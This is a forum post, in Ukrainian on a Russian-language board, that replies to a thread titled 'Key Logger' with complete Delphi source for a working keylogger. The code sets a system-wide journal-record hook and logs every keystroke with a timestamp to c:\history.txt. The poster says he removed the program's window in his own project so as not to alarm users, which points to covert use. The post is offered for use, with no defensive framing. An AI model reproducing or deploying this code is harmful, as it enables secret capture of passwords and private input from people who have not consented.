Тема: Key Logger
Показать сообщение отдельно
  #2  
Старый 24.08.2008, 02:06
Daimond Daimond вне форума
Прохожий
 
Регистрация: 24.08.2008
Адрес: Львів
Сообщения: 2
Репутация: 10
Подмигивание

Тримай код. Це клавіатурний шпигун, але його можна використати і для товєї задачі. (В своєму проекті я видалив форму програми, щою не налякати юзаків )
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  h:hhook;

implementation

{$R *.dfm}
function Proc(code:integer;wParam:WPARAM;lParam:LPARAM):lresult;stdcall;
var c:array[0..255] of char;
    nScan:integer;
    f:textfile;
    t:_systemtime;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
assignfile(f,'c:\history.txt');
append(F);
getsystemtime(t);
writeln(f,'date:'+inttostr(t.wDay)+'.'+inttostr(t.wMonth)+'.'+inttostr(t.wYear)+' time:'
                  +inttostr(t.wHour)+':'+inttostr(t.wMinute)+':'+inttostr(t.wSecond)+'.'
                  +inttostr(t.wMilliseconds)+'['+c+']');
closefile(f);
end;
result:=callnexthookex(h,code,wparam,lparam);
end;

procedure TForm1.FormCreate(Sender: TObject);
var f:textfile;
begin
assignfile(f,'c:\history.txt');
rewrite(f);
closefile(f);
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
unhookwindowshookex(h);
end;
end.
Ответить с цитированием